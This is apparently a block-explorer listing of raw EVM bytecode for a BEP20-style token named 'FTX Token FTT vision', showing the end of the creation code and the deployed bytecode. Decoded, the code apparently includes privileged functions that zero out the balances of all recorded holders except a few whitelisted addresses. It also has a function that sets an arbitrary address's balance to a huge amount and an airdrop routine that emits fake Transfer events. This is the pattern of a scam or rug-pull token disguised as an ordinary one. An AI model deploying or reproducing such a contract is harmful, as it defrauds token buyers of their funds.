fffffff1681526020019081526020015f20549050919050565b610c12611b28565b73ffffffffffffffffffffffffffffffffffffffff16610c30610d0a565b73ffffffffffffffffffffffffffffffffffffffff1614610c4f575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d39611b28565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d90575f5ffd5b5f5f90505b82829050811015610ea457600160035f858585818110610db857610db7612317565b5b9050602002016020810190610dcd919061217d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff16838383818110610e3457610e33612317565b5b9050602002016020810190610e49919061217d565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001604051610e8f919061256d565b60405180910390a38080600101915050610d95565b505050565b606060028054610eb8906122e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610ee4906122e7565b8015610f2f5780601f10610f0657610100808354040283529160200191610f2f565b820191905f5260205f20905b815481529060010190602001808311610f1257829003601f168201915b5050505050905090565b610f41611b28565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f98575f5ffd5b6009600a610fa691906124a0565b6009600a610fb491906124a0565b64174876e800610fc491906124ea565b610fce91906124ea565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61106c91906124a0565b6009600a61107a91906124a0565b64174876e80061108a91906124ea565b61109491906124ea565b6040516110a191906120e0565b60405180910390a350565b5f6110b8338484611b2f565b6001905092915050565b6110ca611b28565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611121575f5ffd5b5f5f90505b6005805490508110156113cd575f6005828154811061114857611147612317565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156111e157506111b1610d0a565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561123a575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611286575073833589fcd6edb6e08f4c7c32d4f71b54bda0291373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156112d2575073f9fe40c86dbf6d3b9d80bb7ca467221e8d1fad5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561132b575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611377575073edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156113bf575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b508080600101915050611126565b50565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61145a611b28565b73ffffffffffffffffffffffffffffffffffffffff16611478610d0a565b73ffffffffffffffffffffffffffffffffffffffff1614611497575f5ffd5b600960149054906101000a900460ff16156114e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114de906125d0565b60405180910390fd5b734752ba5dbc23f44d87826276bf6fd6b1c372ad2460085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115a5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115c99190612602565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561164f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116739190612602565b6040518363ffffffff1660e01b815260040161169092919061262d565b6020604051808303815f875af11580156116ac573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116d09190612602565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117583060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61174391906124a0565b64174876e80061175391906124ea565b611965565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a030610bc4565b5f5f6117aa610d0a565b426040518863ffffffff1660e01b81526004016117cc9695949392919061268d565b60606040518083038185885af11580156117e8573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061180d9190612700565b5050506001600960146101000a81548160ff021916908315150217905550565b611835611b28565b73ffffffffffffffffffffffffffffffffffffffff16611853610d0a565b73ffffffffffffffffffffffffffffffffffffffff1614611872575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036118a9575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca906127c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a389061284e565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b1b91906120e0565b60405180910390a3505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b66575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b9d575f5ffd5b611bed8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3b90919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611c7e8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9390919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cc883611df0565b611cd182611df0565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d2e91906120e0565b60405180910390a3505050565b5f82821115611d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d76906128b6565b60405180910390fd5b8183611d8b91906128d4565b905092915050565b5f5f8284611da19190612907565b905083811015611de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddd90612984565b60405180910390fd5b8091505092915050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541115611f38575f5f90505f5f90505b600580549050811015611ecf578273ffffffffffffffffffffffffffffffffffffffff1660058281548110611e7657611e75612317565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611ec25760019150611ecf565b8080600101915050611e3e565b5080611f3657600582908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7d82611f3b565b611f878185611f45565b9350611f97818560208601611f55565b611fa081611f63565b840191505092915050565b5f6020820190508181035f830152611fc38184611f73565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611ffc82611fd3565b9050919050565b61200c81611ff2565b8114612016575f5ffd5b50565b5f8135905061202781612003565b92915050565b5f819050919050565b61203f8161202d565b8114612049575f5ffd5b50565b5f8135905061205a81612036565b92915050565b5f5f6040838503121561207657612075611fcb565b5b5f61208385828601612019565b92505060206120948582860161204c565b9150509250929050565b5f8115159050919050565b6120b28161209e565b82525050565b5f6020820190506120cb5f8301846120a9565b92915050565b6120da8161202d565b82525050565b5f6020820190506120f35f8301846120d1565b92915050565b5f5f5f606084860312156121105761210f611fcb565b5b5f61211d86828701612019565b935050602061212e86828701612019565b925050604061213f8682870161204c565b9150509250925092565b5f60ff82169050919050565b61215e81612149565b82525050565b5f6020820190506121775f830184612155565b92915050565b5f6020828403121561219257612191611fcb565b5b5f61219f84828501612019565b91505092915050565b6121b181611ff2565b82525050565b5f6020820190506121ca5f8301846121a8565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f8401126121f1576121f06121d0565b5b8235905067ffffffffffffffff81111561220e5761220d6121d4565b5b60208301915083602082028301111561222a576122296121d8565b5b9250929050565b5f5f6020838503121561224757612246611fcb565b5b5f83013567ffffffffffffffff81111561226457612263611fcf565b5b612270858286016121dc565b92509250509250929050565b5f5f6040838503121561229257612291611fcb565b5b5f61229f85828601612019565b92505060206122b085828601612019565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122fe57607f821691505b602082108103612311576123106122ba565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156123c6578086048111156123a2576123a1612344565b5b60018516156123b15780820291505b80810290506123bf85612371565b9450612386565b94509492505050565b5f826123de5760019050612499565b816123eb575f9050612499565b8160018114612401576002811461240b5761243a565b6001915050612499565b60ff84111561241d5761241c612344565b5b8360020a91508482111561243457612433612344565b5b50612499565b5060208310610133831016604e8410600b841016171561246f5782820a90508381111561246a57612469612344565b5b612499565b61247c848484600161237d565b9250905081840481111561249357612492612344565b5b81810290505b9392505050565b5f6124aa8261202d565b91506124b583612149565b92506124e27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123cf565b905092915050565b5f6124f48261202d565b91506124ff8361202d565b925082820261250d8161202d565b9150828204841483151761252457612523612344565b5b5092915050565b5f819050919050565b5f819050919050565b5f61255761255261254d8461252b565b612534565b61202d565b9050919050565b6125678161253d565b82525050565b5f6020820190506125805f83018461255e565b92915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6125ba601783611f45565b91506125c582612586565b602082019050919050565b5f6020820190508181035f8301526125e7816125ae565b9050919050565b5f815190506125fc81612003565b92915050565b5f6020828403121561261757612616611fcb565b5b5f612624848285016125ee565b91505092915050565b5f6040820190506126405f8301856121a8565b61264d60208301846121a8565b9392505050565b5f819050919050565b5f61267761267261266d84612654565b612534565b61202d565b9050919050565b6126878161265d565b82525050565b5f60c0820190506126a05f8301896121a8565b6126ad60208301886120d1565b6126ba604083018761267e565b6126c7606083018661267e565b6126d460808301856121a8565b6126e160a08301846120d1565b979650505050505050565b5f815190506126fa81612036565b92915050565b5f5f5f6060848603121561271757612716611fcb565b5b5f612724868287016126ec565b9350506020612735868287016126ec565b9250506040612746868287016126ec565b9150509250925092565b7f42455032303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6127aa602483611f45565b91506127b582612750565b604082019050919050565b5f6020820190508181035f8301526127d78161279e565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612838602283611f45565b9150612843826127de565b604082019050919050565b5f6020820190508181035f8301526128658161282c565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6128a0601e83611f45565b91506128ab8261286c565b602082019050919050565b5f6020820190508181035f8301526128cd81612894565b9050919050565b5f6128de8261202d565b91506128e98361202d565b925082820390508181111561290157612900612344565b5b92915050565b5f6129118261202d565b915061291c8361202d565b925082820190508082111561293457612933612344565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61296e601b83611f45565b91506129798261293a565b602082019050919050565b5f6020820190508181035f83015261299b81612962565b905091905056fea26469706673582212201b545b555292856a4a715f2c03f560a1475c356fff030e5bf68b596a56a7733264736f6c634300081c0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000600dc5da407b0e09de916868cec9924a5c4cb62d000000000000000000000000edb37ad563e2ef161b2a72169583f35799bde962000000000000000000000000000000000000000000000000000000000000001446545820546f6b656e2046545420766973696f6e000000000000000000000000000000000000000000000000000000000000000000000000000000000000001446545820546f6b656e2046545420766973696f6e000000000000000000000000

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063715018a61161009f578063a9059cbb11610063578063a9059cbb14610364578063dc064fa7146103a0578063dd62ed3e146103b6578063e8078d94146103f2578063f2fde38b146104085761011e565b8063715018a6146102aa5780638da5cb5b146102c05780638f8af1e1146102ea57806395d89b4114610312578063a37e0a641461033c5761011e565b806323b872dd116100e657806323b872dd146101c8578063313ce56714610204578063329756911461022e57806349eea8c91461024457806370a082311461026e5761011e565b806306fdde0314610122578063095ea7b31461014c5780630bc60abb1461018857806318160ddd1461019e5761011e565b3661011e57005b5f5ffd5b34801561012d575f5ffd5b50610136610430565b6040516101439190611fab565b60405180910390f35b348015610157575f5ffd5b50610172600480360381019061016d9190612060565b6104c0565b60405161017f91906120b8565b60405180910390f35b348015610193575f5ffd5b5061019c6104d6565b005b3480156101a9575f5ffd5b506101b26107e4565b6040516101bf91906120e0565b60405180910390f35b3480156101d3575f5ffd5b506101ee60048036038101906101e991906120f9565b610808565b6040516101fb91906120b8565b60405180910390f35b34801561020f575f5ffd5b506102186108c2565b6040516102259190612164565b60405180910390f35b348015610239575f5ffd5b506102426108ca565b005b34801561024f575f5ffd5b50610258610bbe565b60405161026591906120e0565b60405180910390f35b348015610279575f5ffd5b50610294600480360381019061028f919061217d565b610bc4565b6040516102a191906120e0565b60405180910390f35b3480156102b5575f5ffd5b506102be610c0a565b005b3480156102cb575f5ffd5b506102d4610d0a565b6040516102e191906121b7565b60405180910390f35b3480156102f5575f5ffd5b50610310600480360381019061030b9190612231565b610d31565b005b34801561031d575f5ffd5b50610326610ea9565b6040516103339190611fab565b60405180910390f35b348015610347575f5ffd5b50610362600480360381019061035d919061217d565b610f39565b005b34801561036f575f5ffd5b5061038a60048036038101906103859190612060565b6110ac565b60405161039791906120b8565b60405180910390f35b3480156103ab575f5ffd5b506103b46110c2565b005b3480156103c1575f5ffd5b506103dc60048036038101906103d7919061227c565b6113d0565b6040516103e991906120e0565b60405180910390f35b3480156103fd575f5ffd5b50610406611452565b005b348015610413575f5ffd5b5061042e6004803603810190610429919061217d565b61182d565b005b60606001805461043f906122e7565b80601f016020809104026020016040519081016040528092919081815260200182805461046b906122e7565b80156104b65780601f1061048d576101008083540402835291602001916104b6565b820191905f5260205f20905b81548152906001019060200180831161049957829003601f168201915b5050505050905090565b5f6104cc338484611965565b6001905092915050565b6104de611b28565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610535575f5ffd5b5f5f90505b6005805490508110156107e1575f6005828154811061055c5761055b612317565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156105f557506105c5610d0a565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561064e575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561069a575073833589fcd6edb6e08f4c7c32d4f71b54bda0291373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156106e6575073f9fe40c86dbf6d3b9d80bb7ca467221e8d1fad5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561073f575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561078b575073edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156107d3575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50808060010191505061053a565b50565b5f6009600a6107f391906124a0565b64174876e80061080391906124ea565b905090565b5f610814848484611b2f565b6108b784610820611b28565b6108b28560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61086a611b28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3b90919063ffffffff16565b611965565b600190509392505050565b5f6009905090565b6108d2611b28565b73ffffffffffffffffffffffffffffffffffffffff166108f0610d0a565b73ffffffffffffffffffffffffffffffffffffffff161461090f575f5ffd5b5f5f90505b600580549050811015610bbb575f6005828154811061093657610935612317565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156109cf575061099f610d0a565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610a28575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610a74575073833589fcd6edb6e08f4c7c32d4f71b54bda0291373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610ac0575073f9fe40c86dbf6d3b9d80bb7ca467221e8d1fad5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610b19575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015610b65575073edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15610bad575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b508080600101915050610914565b50565b600a5481565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c12611b28565b73ffffffffffffffffffffffffffffffffffffffff16610c30610d0a565b73ffffffffffffffffffffffffffffffffffffffff1614610c4f575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d39611b28565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d90575f5ffd5b5f5f90505b82829050811015610ea457600160035f858585818110610db857610db7612317565b5b9050602002016020810190610dcd919061217d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff16838383818110610e3457610e33612317565b5b9050602002016020810190610e49919061217d565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001604051610e8f919061256d565b60405180910390a38080600101915050610d95565b505050565b606060028054610eb8906122e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610ee4906122e7565b8015610f2f5780601f10610f0657610100808354040283529160200191610f2f565b820191905f5260205f20905b815481529060010190602001808311610f1257829003601f168201915b5050505050905090565b610f41611b28565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f98575f5ffd5b6009600a610fa691906124a0565b6009600a610fb491906124a0565b64174876e800610fc491906124ea565b610fce91906124ea565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61106c91906124a0565b6009600a61107a91906124a0565b64174876e80061108a91906124ea565b61109491906124ea565b6040516110a191906120e0565b60405180910390a350565b5f6110b8338484611b2f565b6001905092915050565b6110ca611b28565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611121575f5ffd5b5f5f90505b6005805490508110156113cd575f6005828154811061114857611147612317565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156111e157506111b1610d0a565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561123a575060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611286575073833589fcd6edb6e08f4c7c32d4f71b54bda0291373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b80156112d2575073f9fe40c86dbf6d3b9d80bb7ca467221e8d1fad5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b801561132b575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611377575073edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156113bf575f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b508080600101915050611126565b50565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61145a611b28565b73ffffffffffffffffffffffffffffffffffffffff16611478610d0a565b73ffffffffffffffffffffffffffffffffffffffff1614611497575f5ffd5b600960149054906101000a900460ff16156114e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114de906125d0565b60405180910390fd5b734752ba5dbc23f44d87826276bf6fd6b1c372ad2460085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115a5573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115c99190612602565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561164f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116739190612602565b6040518363ffffffff1660e01b815260040161169092919061262d565b6020604051808303815f875af11580156116ac573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116d09190612602565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117583060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a61174391906124a0565b64174876e80061175391906124ea565b611965565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a030610bc4565b5f5f6117aa610d0a565b426040518863ffffffff1660e01b81526004016117cc9695949392919061268d565b60606040518083038185885af11580156117e8573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061180d9190612700565b5050506001600960146101000a81548160ff021916908315150217905550565b611835611b28565b73ffffffffffffffffffffffffffffffffffffffff16611853610d0a565b73ffffffffffffffffffffffffffffffffffffffff1614611872575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036118a9575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca906127c0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a389061284e565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b1b91906120e0565b60405180910390a3505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b66575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b9d575f5ffd5b611bed8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3b90919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611c7e8160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9390919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cc883611df0565b611cd182611df0565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d2e91906120e0565b60405180910390a3505050565b5f82821115611d7f576040517f08c379a000000000